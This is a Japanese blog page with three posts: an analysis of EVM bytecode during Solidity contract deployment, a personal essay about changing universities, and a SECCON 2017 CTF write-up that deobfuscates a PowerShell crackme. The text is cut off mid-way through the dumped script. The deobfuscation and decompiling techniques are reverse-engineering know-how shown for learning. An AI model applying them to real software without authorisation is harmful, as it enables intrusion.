Smart ContractをデプロイするときにEVMで行われていること
この記事は Aizu Advent Calendar 2017 - Adventar 21日目の記事です.
前の人は id:ktr_0731 で,
次は id:slme9364 です.
はじめに
去年に引き続き2回目の参加ですが,今回は最近某所でEthereumを触ることがあり,その際疑問に思ったことを掘り下げていこうと思います.レイヤーが低めの話になります.
今回やること
Ethereumの内部でSmart Contractというものが使われていますが,これをブロックチェーン上へデプロイする時って基本的にはsolcでコンパイルしてからgethで
> eth.contract(abi).new({ from: ..... , data: ...... , gas: ..... })
とかでトランザクションを発行します.この時にdataに指定しているものってEVM bytecodeと呼ばれる16進数の列なわけで,大体こんな感じ
606060405260006001600061010...................................
になっていると思います.
また,他のユーザーに自身の作成したコントラクトを利用してもらうために、「コントラクトのアドレス」と「ABI」の2つ情報を伝えて初めて他のユーザーがデプロイされたコントラクトを使うことができるわけですが,実は利用者はコントラクトのコードに対して以下のようにアクセスすることができます.
> eth.getCode(コントラクトのアドレス) "0x606060405260006001600061010...................................
そこでふと思ったのが,デプロイされたEVM bytecodeをリバースエンジニアリングし,コンパイルされる前のSolidityで記述されたファイルまで戻すことはどこまで可能なのか?ということです.
と言っても,EVMで使われているアセンブリも知らない初心者がリバースエンジニアリングをしようとしても詰むだけなので,今回はコントラクトをデプロイするときの処理を中心に,EVMの中でなにが行われているのか,EVM assemblyを読むことで明らかにしていきたいと思います.コントラクトを書く言語は他にもあるらしいですが,今回はとりあえずSolidityでやります.
EVMで使われるデータ構造や命令について
まず,EVM内ではどのようなデータ構造が使われているのか,どのような命令(オペコード)が使われているのか,などを簡単に調べていきます.
Ethereumの仕様書でYellow Paperと呼ばれるものや,あとはEthereumのwikiとかが参考になります.
まずデータ構造ですが,各命令はデータを保存するために以下の3つの領域を使います.
- stack
- memory
- storage
stack
は普通のスタックだったので省略し, memory
は「無限に拡張可能なバイト配列」です.storage
は stack
や
memory
と違い,長い期間存続するkey/valueストアです.
また,内部で使われている命令ですが,これは Yellow Paperの23ページに全て載っているので割愛します.
やってみる
まずは以下のようなSmart Contractから始めていきます.
pragma solidity ^0.4.0; contract HelloWorld { }
なにもしない空のコントラクトです.これを,以下のようにアセンブリを出力するようにして,読んでいきます.
$ solc --optimize --asm HelloWorld.sol > HelloWorld.sol.dis
======= HelloWorld.sol:HelloWorld ======= EVM assembly: /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60) jumpi(tag_1, iszero(callvalue)) 0x0 dup1 revert tag_1: dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60) 0x0 dup1 revert auxdata: 0xa165627a7a72305820a6b4f23e09acc57a4a971849c21344d45e014c2944a13821c5804492f1c50c720029 }
また,比較のために以下のようなコントラクトも用意します.
pragma solidity ^0.4.0; contract HelloWorld { uint data; function HelloWorld() { data = 0xdeadbeef; } }
これもアセンブリを出力してみます.
======= HelloWorld2.sol:HelloWorld ======= EVM assembly: /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ mstore(0x40, 0x60) /* "HelloWorld2.sol":63:113 function HelloWorld() {... */ jumpi(tag_1, iszero(callvalue)) 0x0 dup1 revert tag_1: /* "HelloWorld2.sol":98:108 0xdeadbeef */ 0xdeadbeef /* "HelloWorld2.sol":91:95 data */ 0x0 /* "HelloWorld2.sol":91:108 data = 0xdeadbeef */ sstore /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop sub_0: assembly { /* "HelloWorld2.sol":25:115 contract HelloWorld {... */ mstore(0x40, 0x60) 0x0 dup1 revert auxdata: 0xa165627a7a7230582008092ae2364624e84432682e083b5c6bad044762c66a05fae7e553e4ce9258460029 }
一番最初のコントラクトを Hello World1
,コンストラクタで0xdeadbeef
を代入するほうを Hello World2
とすると,2では
/* "HelloWorld2.sol":98:108 0xdeadbeef */ 0xdeadbeef /* "HelloWorld2.sol":91:95 data */ 0x0 /* "HelloWorld2.sol":91:108 data = 0xdeadbeef */ sstore
このような命令が追加されていて,これが
function HelloWorld() { data = 0xdeadbeef; }
この部分にあたります. sstore
という見慣れない命令がありますが,これがどういう命令なのかをYellow Paperで調べてみると Save word to storage.
と書かれていました.つまり,この処理ではkey/valueストアであるstorageに 0x0
をkeyとして 0xdeadbeef
(正しくは0xdeadbeefを32byteに拡張したもの)を保存しているということになります.
また,0xdeadbeef
や 0x0
と値だけ書かれているのはpush命令が省略されて書かれていて,実際にEVM bytecodeを見てみるとこの処理は
63deadbeef600055
このようなバイト列になっています.63が push4
にあたるので, 63deadbeef
で push4 0xdeadbeef
, 60が push1
なので 6000
で push1 0x00
になり,最後の55が sstore
です.
これを見るとEVMではビッグエンディアンが使われているということもわかります.
コンストラクタ以外の部分について
コンストラクタの data = 0xdeadbeef
にあたる命令は
0xdeadbeef 0x0 sstore
であり, sstore(0x0, 0xdeadbeef)
であることはわかったものの,他の大部分のコードは未だ謎です.これらは一体なんなのでしょうか.そもそも,EVM bytecodeをデプロイしてそれがEVM上で実行されるためには,デプロイするコード(EVM上へ登録するためのコード)が必要なはずです.コンストラクタが存在しているということ以外は Hello World1
とHello World2
に違いはないので,その他のコードはデプロイするために必要なコードである可能性が高いです.
ということで,上から命令を地道に追っていきます.以下では Hello World1
(なにもしないコントラクト)を使っていきます.
コントラクトがデプロイされる処理を追う
EVM assembly: /* "HelloWorld.sol":25:48 contract HelloWorld {... */ mstore(0x40, 0x60)
まずは mstore(0x40, 0x60)
という命令から始まっています. mstore
は Save word to memory.
であり,この場合 0x40
の場所に 0x60
(正確には0x60を32byteに拡張したもの)を保存するという命令になります.実際にどのような実装になっているのか,go-ethereumを見てみます.
go-ethereum/core/vm/instructions.go
の493行目にあります.
func opMstore(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { // pop value of the stack mStart, val := stack.pop(), stack.pop() memory.Set(mStart.Uint64(), 32, math.PaddedBigBytes(val, 32)) evm.interpreter.intPool.put(mStart, val) return nil, nil }
mstore
を呼ぶときのstackの状態は
0x40 +-+-+ 0x60 +-+-+
このようになっていて,1回目の stack.pop()
で 0x40
が mStart
に入り2回目の stack.pop()
で 0x60
が val
に入ります.その後memoryに保存するのですが,その際 math.PaddedBigBytes
を使って val
を32byte拡張しています.そして, go-ethereum/core/vm/memory.go
の32行目のSet
func (m *Memory) Set(offset, size uint64, value []byte) { // length of store may never be less than offset + size. // The store should be resized PRIOR to setting the memory if size > uint64(len(m.store)) { panic("INVALID memory: store empty") } // It's possible the offset is greater than 0 and size equals 0. This is because // the calcMemSize (common.go) could potentially return 0 when size is zero (NO-OP) if size > 0 { copy(m.store[offset:offset+size], value) } }
これが呼ばれ,最終的に copy(m.store[offset:offset+size], value)
でstoreされるという処理になっています.
次ですが,
jumpi(tag_1, iszero(callvalue))
jumpi
や iszero
, callvalue
など見慣れない命令が出てきました.
jumpi
は Conditionally alter the program counter
と書かれていて要するに条件分岐命令であり,その後の説明を見る限り第2引数が0でなければ第1引数へ飛ぶ命令っぽいです.また, iszero
はスタックから1つpopして0であれば1,そうでないなら0をスタックへpushする命令です.では callvalue
がなんなのかですが,正直よくわかってません.実際のコードは以下のようになっているのですが,
func opCallValue(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { stack.push(evm.interpreter.intPool.get().Set(contract.value)) return nil, nil }
contract.value
がなにを指すのかがわからず...とにかくこの値が0になっていないと iszero
により1がセットされないので,0であるべき値なのは確かなのですが...
では次に,tag_1へ飛んだ先の処理を追っていきます.
tag_1: dataSize(sub_0) dup1 dataOffset(sub_0) 0x0 codecopy 0x0 return stop
まず, dataSize(sub_0)
ですがこれば実際のバイト列を見てみると 6035
のようになっていて,今回の場合は push1 0x35
だということがわかります.この 0x35
って何かというと sub_0
でラベル付けされたルーチンのバイト数であり,つまりここでは sub_0
のサイズがstackへpushされているということになります.次の dup1
ですが,これは Duplicate 1st stack item.
と説明がある通りstackの1番目の要素を複製します.ここでは,現在stackへ積まれている 0x35
が複製されるということです.
次に, dataOffset(sub_0)
ですがこれも実際のバイト列を見てみると 601b
のようになっていて, push1 0x1b
だということがわかります.この 0x1b
は先頭から sub_0
までのオフセットを指していて,このオフセットをstackへ積んでいます.その後 0x0
をpushして codecopy
を実行するわけですが,この時のstackの状態を整理してみると以下のようになっています.
0x0 +-+-+ 0x1b +-+-+ 0x35 +-+-+ 0x35 +-+-+
この状態で codecopy
を呼ぶとどのように実行されていくのか, go-ethereum/core/vm/instructions.go
の408行目を見ていきます.
func opCodeCopy(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { var ( memOffset = stack.pop() codeOffset = stack.pop() length = stack.pop() ) codeCopy := getDataBig(contract.Code, codeOffset, length) memory.Set(memOffset.Uint64(), length.Uint64(), codeCopy) evm.interpreter.intPool.put(memOffset, codeOffset, length) return nil, nil }
今回の場合, memOffset
に 0x0
が入り, codeOffset
に 0x1b
, length
に 0x35
が入ります.そして, getDataBig
での結果が codeCopy
に入るわけですが, getDataBig
は go-ethereum/core/vm/common.go
で宣言されていて
// getDataBig returns a slice from the data based on the start and size and pads // up to size with zero's. This function is overflow safe. func getDataBig(data []byte, start *big.Int, size *big.Int) []byte { dlen := big.NewInt(int64(len(data))) s := math.BigMin(start, dlen) e := math.BigMin(new(big.Int).Add(s, size), dlen) return common.RightPadBytes(data[s.Uint64():e.Uint64()], int(size.Uint64())) }
スライスを返す関数だとわかります.つまり,コントラクト全体のコードから sub_0
にあたるコードだけを取り出してそれを返します.その後, memOffset
の位置 ( 0x0
)に sub_0
のコードを格納しています.
codecopy
の後は 0x0
をpushして return
ですが, これはメモリオフセットとサイズの2つの値をstackからpopし,memory.GetPtr
での返り値を返すような処理になっています.
func opReturn(pc *uint64, evm *EVM, contract *Contract, memory *Memory, stack *Stack) ([]byte, error) { offset, size := stack.pop(), stack.pop() ret := memory.GetPtr(offset.Int64(), size.Int64()) evm.interpreter.intPool.put(offset, size) return ret, nil }
memory.GetPtr
は以下です.
// GetPtr returns the offset + size func (self *Memory) GetPtr(offset, size int64) []byte { if size == 0 { return nil } if len(self.store) > int(offset) { return self.store[offset : offset+size] } return nil }
呼び出し元へ戻ってからも後は revert
しているぐらいなのですが, revert
の説明が Yellow Paper に無くて,このサイト で見つけたので,後から追加された命令なんでしょうか.
ここまで説明した処理がコントラクトをデプロイする処理にあたります.
evm --debugでコントラクトがデプロイされる処理を見てみる
恐らくethereumをインストールした際に一緒に入ってくるコマンドだと思うんですが, evm
というコマンドがあり,コマンドラインでいろいろできるやつです.
これを使うと任意のEVM bytecodeをコマンドライン上で実行してくれて, --debug
オプションを付けておくとstackやmemory,storageの情報を表示してくれるので,これを使って上記の処理を追うとさらにわかりやすいかと思います.では,今度は Hello World2
のコードを使っていきます.
$ evm --debug --code 60606040523415600e57600080fd5b63deadbeef60005560358060236000396000f3006060604052600080fd00a165627a7a723058201ccb8cf1608dcc548e886094db68d49551c88613cccdcfb5b89884e4028ae32f0029 run
上から順番に見ていきます.
現在のプログラムカウンタやgasの量,それぞれにかかるコストも表示してくれています.
なにをpushしているのか書かれていないのでわかり辛さもありますが, mstore
を実行する時には 0x40
と 0x60
がそれぞれ積まれているのがわかります.また, mstore
によって 0x40
の位置に 0x60
を32byte拡張したものが格納されるので,赤く丸をしたところに60という数字が現れています.jumpする直前まで飛ばします.
jumpi
が実行されるときには jump先のオフセットと iszero(callvalue)
の返り値である1がstackへ積まれています. jumpi
の次は jumpdest
となっていますが,このようにjumpする直前では実は Mark a valid destination for jumps. This operation has no effect on machine state during execution.
と説明が書かれている jumpdest
命令が実行されています.
tag_1へ移動してからは,まずコンストラクタの処理である「 0xdeadbeef
を data
に代入」があります.
sstore
によって,32byte拡張された0をkeyにvalueである32byte拡張された 0xdeadbeef
がstorageへと保存されているのがわかります.その後, codecopy
まで処理は進んでいき,
codecopy
が実行された直後のmemoryを見てみると, sub_0
のコードがmemoryへ展開されているのがわかります.
いくつかの疑問点
コントラクトをデプロイする過程を追ってきましたが,いくつか疑問が残っています.
mstore(0x40, 0x60)
とは何のためにあるのかsub_0
のラベルが付いているルーチンはなんなのかsub_0
に書かれているauxdata
とは
とりあえずこの3つについて書いていきます.
mstore(0x40, 0x60)について
まず, 0x40
というのは特別な場所らしく free memory pointer
という空きメモリへのポインタを保存しておく場所です.この命令から始まることで, 0x40
の位置に 0x60
という値を入れておき, 0x60
が空いているよと伝えることができます.また, 0x60
に mstore
を使って保存した値をもし保持しておきたい場合は free memory pointer
を他の値で更新し,次はその場所を使うようにしたりと,そんな風に使うっぽいです.
ですが,これって慣習として”そういう風に使う領域”と言われているだけで,書き込みが禁止されていたりとかはないんですよね.ですので,コントラクトの本体コードが大きいものをデプロイした場合,↑で見た処理の通り sub_0
がmemoryの 0x0
に保存されるので, 0x40
にある free memory pointer
はすぐ上書きされてしまうわけで.
結局よくわからなくなったので,もう少し調べてみる必要がありそうです.
sub_0のラベルが付いているルーチンについて
これは恐らく,コンストラクタ以外のコントラクトの関数が含まれる箇所で,例えば get
と set
だけのシンプルなコントラクトにした場合, get
と set
にあたる処理は sub_0
へ入ります.もう少し大きなコントラクトで試した場合も sub_?
というラベルは sub_0
しか出てくることはなかったので,自分はコンストラクタ以外の関数(処理),つまりコントラクトの本体が含まれる箇所だと解釈しています.
sub_0に書かれている auxdata とは
これはググっても本当に情報が出てこなくて,恐らく auxdata
という呼称を使っているのは Solidity なので,Solidity のソースコードを探ってみました.ちなみに auxdata
という言葉自体は auxiliary data
の略称であり,補助データという意味です.
solidity/libevmasm/Assembly.h
の158行目にこうありました.
/// Data that is appended to the very end of the contract.
bytes m_auxiliaryData;
説明は書かれておらず,コントラクトの最後に追加されるデータってそんなことわかっとんねんと思いながら他を探しました.
solidity/libsolidity/codegen/Compiler.cpp
の39行目.
m_runtimeContext.appendAuxiliaryData(_metadata);
とあり,この _metadata
は
void Compiler::compileContract( ContractDefinition const& _contract, std::map<const ContractDefinition*, eth::Assembly const*> const& _contracts, bytes const& _metadata ) { ..........................
この関数の引数として渡ってきます.結局 metadata
でしかないのはわかるんですが,これが何のためにあって,どういう使われ方をするのかはよくわかりませんでした.
auxdata: 0xa165627a7a7230582") == 0
コードのテストにはこのような1行もあり,決まったフォーマットであることもわかるのですが,正体が謎です.改ざんされていないか検証するための値とかでしょうか.
Porosityについて
今年のDEFCONでPorosityというEthereum Smart Contractsのデコンパイラが発表されました.なぜこんなリバースエンジニアリングツールが出てきたのかというと,そもそもSmart Contract自体に脆弱性が存在することがあるらしく,それを悪用して不正送金されたケースがあったとか.
で,セキュリティ対策としてコンパイルされる前のコードを静的解析するツールはあるものの,これは開発者がコードを提供することで初めて成り立つものです.セキュリティを意識しない開発者がそのままコンパイルしてブロックチェーン上へデプロイした場合はコードが安全であることを保証する方法が無く,もし新たに脆弱性が見つかった場合に開発者自信が元々のコードを保持・または共有していない限り,脆弱なコントラクトを特定するのは非常に難しくなります.
というような内容が書かれているPorosityを紹介しているサイトがあるので,詳しくはこちらをご覧ください.
ということで,このツールを少しだけ使ってみます.足りないパッケージがあったりしたので,インストール方法を載せておきます.
インストール ( Ubuntu16.04 )
$ git clone https://github.com/comaeio/porosity.git $ cd porosity $ sudo apt-get install libboost-all-dev $ cd porosity/porosity $ wget https://raw.githubusercontent.com/chriseth/solidity/0a2a2cf38b7794826a17efe44aea5dc96de98dc7/libdevcore/boost_multiprecision_number_compare_bug_workaround.hpp $ porosity.hの中の `#include "Common.h"` を `#include <boost/dynamic_bitset.hpp>` の上に移動 $ make
以下のようなコントラクトで試してみます.
pragma solidity ^0.4.0; contract Aizu { uint data; function set(uint input) public { data = input; } function get() public constant returns (uint) { return data; } }
実行.
$ abi=`cat output/Aizu.abi` $ code=`cat output/Aizu.bin` $ porosity --abi $abi --code $code --decompile --verbose 0
Porosity v0.1 (https://www.comae.io) Matt Suiche, Comae Technologies <support@comae.io> The Ethereum bytecode commandline decompiler. Decompiles the given Ethereum input bytecode and outputs the Solidity code. Attempting to parse ABI definition... Success. Hash: 0x60FE47B1 executeInstruction: NOT_IMPLEMENTED: REVERT function set(uint256) { if (!msg.value) { } store[var_LK0e1] = arg_4; return; } LOC: 6 Hash: 0x6D4CE63C executeInstruction: NOT_IMPLEMENTED: REVERT function get() { if (!msg.value) { } return; return; } LOC: 6
んー...どうなんですかね. set
は大体戻せていますが, get
は最後 return
が2つ出ていたりして怪しいです.GitHubを見てみるとサンプルでは自明な脆弱性があるところは教えてくれたりするらしいですが,まだまだ発展途上というところでしょうか.
まとめ
gethの使い方!とか基本的なセットアップとかの情報は日本語でも増えてきたものの,もっと深い実装寄りの話においては日本語の記事はほとんど存在していなくて,英語の記事もまとまっているものは少なくて部分的だったり,情報を探すのに本当に苦労しました. でも,情報がここまで多くない時代ってそれが当たり前で,皆さんいろいろ探りながらブログとかへまとめていったんだなぁと思うと本当に先人に感謝だし,自分ももっと情報をアウトプットするべきだなと感じました.
以上ですが,何か間違いなどあればご指摘お願いします.
参照
- https://ethereum.stackexchange.com/questions/2823/what-does-bytecode-of-blank-contract-do/2829
- https://lilymoana.github.io/evm_part5.html
- https://github.com/androlo/solidity-workshop/blob/master/tutorials/2016-03-09-advanced-solidity-I.md
- http://solidity.readthedocs.io/en/develop/miscellaneous.html
- https://ethereum.stackexchange.com/questions/9603/understanding-mload-assembly-function
2度目の退学を経て院進する話
この記事は 退学 Advent Calendar 2017 - Adventar 20日目の記事です.
前の人は@muscle_azosonさん,次は@showmeearさんです.
はじめに
この記事は,近況報告も含めた自分のこれまでの話みたいな,いわゆるポエムっぽいやつ.
4月から院進できそうだけど,その過程でいろいろ特殊なことが多くて,いっそ退学Advent Calendarとやらに公開しようってなった.
今の大学に入る前の話
元々は高校卒業後,別の大学に通っていた.実家から電車で通える私立大学.お金の問題で国公立か自宅から通える範囲の私立大学しか許されなくて,目指してた第1志望に落ちて入学した.
入学後のオリエンテーションは新宿駅のバス停に現地集合だったけど迷路のような新宿駅で見事に迷い,間に合わずにサボった.結果,オリエンテーションが終わった後では既にグループが形成されていて.「あれ?ぼっちじゃね?」という事故が起きる.
それ以降,授業で1人の人を見つけ話しかけたりするも上手くいかず,唯一他の学科に1人だけ友達のような奴ができた.
友人関係はそんな感じだったんだけど,5月頃になると講義に違和感を覚えるようになった.
まずプログラミングの講義.無難にC言語だったけど,最早講義じゃない.テキストがあるのでそれ通りに自分で進めて課題をこなし,わからないところがあればTAが教えてくれるような自主学習に近い形態だった.確か教授は課題の問題をごく稀に前で解説してくれるだけ.ほぼいる意味がない. 次に英語の講義.本当に中学英語のようなことしかやらなかった記憶がある.思い出せないけど,いろいろアレだった.
ここで不満を言ってもしょうがないのでやめておくけど,そんなこともあって徐々にもう一度大学受験がしたいみたいな感情が湧いてきた.
実際に行動に移したのは6月下旬か7月頃だった気がする.親に話したら一回だけならって事で許してくれた.本当に感謝すぎる.そこから,休学届を出したのが8月頃.勉強を始めたのは8月下旬に差し掛かる頃.ここで,休学すると奨学金が止まるということや,他の大学に合格して入学した場合,借りていた半期分の奨学金は支払いが猶予されるということなど,奨学金に関する知見を得た.
その後は予備校に通うお金もないので家に引きこもって勉強したり,図書館を使ってみたり,模試やその他かかるお金をバイトして稼いだり,そんな感じ.で,元々目指してたところいけるぐらいにはセンター試験の過去問で点数が取れるようになったけど,いざ本番受けてみたら無事死亡した.
そこで出てきたのが今の大学だった.高校時代も存在は知ってたけど,関東の大学しか行くつもりはなかった.けど,結局受験して合格して入学した.
前の大学には,受験して合格したのでそっち行きますって正直に伝えた.休学理由は,お金が無いので授業料を稼ぐって話だったので嫌な顔されるかと思ったけど,そんな事はなくてむしろおめでとうとか頑張ってねとか言って貰えたので,あざっすって感じだった.最後に担任みたいな存在の教授と謎の握手を交わしたのが面白くて覚えてる.友達はほぼいなかったようなもんなので,そこら辺のことを気にする必要もなく綺麗サッパリ退学した.
これが1度目の退学.
今の大学に入学後
反省を活かし,オリエンテーションは死ぬ気で行くぞと思って行った.友人を頑張って作った.
プログラミングの講義や英語の講義に関しては,ほぼ文句がなかった.大学の講義の質がどうとか言う人はいるけど,自分にとっては以前の大学に比べたら良質な講義だと思った.プログラミングの講義は進むのが遅いかもしれないけど,講義と演習のバランスは取れてると思ったし,できる人はスキップテストが用意されてるので受ければいいし,英語は教員が外国人なので頑張って聞き取る必要があった.
そんな感じで真面目に受けていて,この頃は親への申し訳なさと自分は1年遅れているってのを妙に意識して,それでモチベーションを維持していた気がする.
GPAもそれなりに気にしていた.予習復習なんて事は流石にしてなかったけど,課題は真面目に出していた.他の時間は技術書読んだりだとか,そういう事にあてたほうが有意義だと思う.
いろいろ有利になるからって事で頑張ってたけど,研究室の選考にも使えなかったし,頑張った意味みたいな感じだった.
けど,徐々に5年一貫教育プログラムというものに興味を持った.4+1や3+2とか言われているやつで,学部4年+大学院1年っていうAと,学部を3年で中退して大学院2年っていうB1,学部を3年で卒業して大学院2年っていうB2がこの大学にはある.このプログラムはGPAが特に関係してくる.
1年早まるっていうのもそうだけど,給付型の奨学金を貰いながら大学院に通えるらしいというのに惹かれた.前の大学で借りてた奨学金もあったし,院進はお金が足りないって問題がそれで解決した.
そこからはGPAの最低ラインを守って講義を受けて,結果B1のプログラムに申し込むことができた.
申し込んで1ヶ月後の10月中旬頃に,認定書みたいなのを貰えた.あと退学願も貰った.大学院受かったら提出してくださいということらしい.
あと,大学院では研究室を変えることにした.理由は今の指導教員が自分のやりたい分野の人ではない為.やりたい事をやらせてくれると言ってくれてたけど,やっぱりある程度のサポートをしてくれる教員じゃないと厳しいと思う.研究室を変更する過程で,奨学金の推薦書を変更予定先の先生に書いてもらったり,いろいろ大変だった.
これで2度目の退学になる予定.
最後に
大学が肌に合わないと感じたらすぐに切り替えてもう一度受験し直すってのは有りで,変えて良かったと思う.
あと,GPA意識してめっちゃ頑張るんじゃなくて"最低限"頑張っておくと後々役に立つ(かも)
この大学,いろいろすごい人が多いし,そういう人達の刺激を受けることができて本当に良いし,大学を変えて良かったとしみじみ思う.
とりあえず2月の入試に合格して,その後は最終学歴が高卒にならないようにちゃんと卒業したい.
SECCON 2017 Online CTF Writeup(Powerful Shell) & おまけ(Qubic Rube)
開催期間(JST)
12/09 PM3:00 ~ 12/10 PM3:00
結果
・チーム名:wabisabi
・得点:1200 pt
・順位:170/1028
解いた問題
・Powerful Shell (Binary 300)
取り組んだが解けなかった問題
・Qubic Rube (Programming 300)
はじめに
参加してました.日本チームがめっちゃ多くてびっくりしてました.チームメンバーの活躍で去年より順位が100位ぐらい上がってました.僕は結局Powerful Shellしか通せなくて,Qubic Rubeを後輩とやっていたのですが,あと2時間あれば解けただろうって感じで,37/50 ステージ目でタイムアップだったので悲しい.
以下,Powerful ShellのWriteupです.
Writeup
Powerful Shell (Binary 300)
最初はずっとQubic Rubeをやっていたのですが,スクリプトを他の人に書いてもらっているときに「なんか解けるやつないかなぁ」と思って解いたやつです.高得点なのに解いている人が多くて,それで着手しました.
Crack me. という問題文と共に以下のような,20546行のテキストが渡されます.
$ECCON=""; $ECCON+=[char](3783/291); $ECCON+=[char](6690/669); $ECCON+=[char](776-740); $ECCON+=[char](381-312); $ECCON+=[char](403-289); $ECCON+=[char](-301+415); $ECCON+=[char](143-32); $ECCON+=[char](93594/821); $ECCON+=[char](626-561); .......................................................... $ECCON+=[char](7631/587); $ECCON+=[char](137-127); $ECCON+=[char](-905+918); $ECCON+=[char](873-863); $ECCON+=[char](721-708); $ECCON+=[char](803-793); $ECCON+=[char](10426/802); Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99; $ECCON+=[char](520-510); Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON))
Power Shellのスクリプトだということを先に取り組んでいた@kobadlveから教えてもらい,その後も情報を貰いながら(Set-ExecutionPolicyでExecution Policyを変更する必要がある,など)Power Shellで動かすところまではいきました.@kobadlveは仮想マシンで取り組んでいたらしいのですが, Checking Host...
というところで落ちてしまうということでした.自分のPCではちゃんと動いたので,環境の問題でしょうか.
上手く起動できると以下のような画面が現れます.
僕はPCをミュートしていて後々気づくことになるのですが,鍵盤にある記号を入力すると音がでるようになっています.面白い.
まずPower Shellスクリプトから読み取れることとしては,ECCONという名前の変数にひたすらなにかを足していっているということです.Power Shellでは変数の前に$を付けて使うらしいですね.そして,最終的にそれを実行しているように見えます.
僕がまず行ったことはソースコードの抽出です.$ECCONには1文字ずつ足してスクリプトを書いていっているのだから$ECCONを別ファイルとかに書き出してしまえばソースコードは見れるのではないか?と考えました.
そこで,スクリプトの最後を以下のように変更しました.
$ECCON+=[char](803-793); $ECCON+=[char](10426/802); Write-Progress -Activity "Extracting Script" -status "20040" -percentComplete 99; $ECCON+=[char](520-510); #Write-Progress -Completed -Activity "Extracting Script";.([ScriptBlock]::Create($ECCON)) Out-File -InputObject $ECCON -FilePath C:\Users\ywkw1\Work\script.ps1
これで,script.ps1として$ECCONを保存できました.早速中身を見てみます.
$ErrorActionPreference = "ContinueSilently" [console]::BackgroundColor = "black";[console]::ForegroundColor = "white";cls;Set-Alias -Name x -Value Write-Host;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 95,25;$host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 95,25;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 -n;x ' ' -b 0 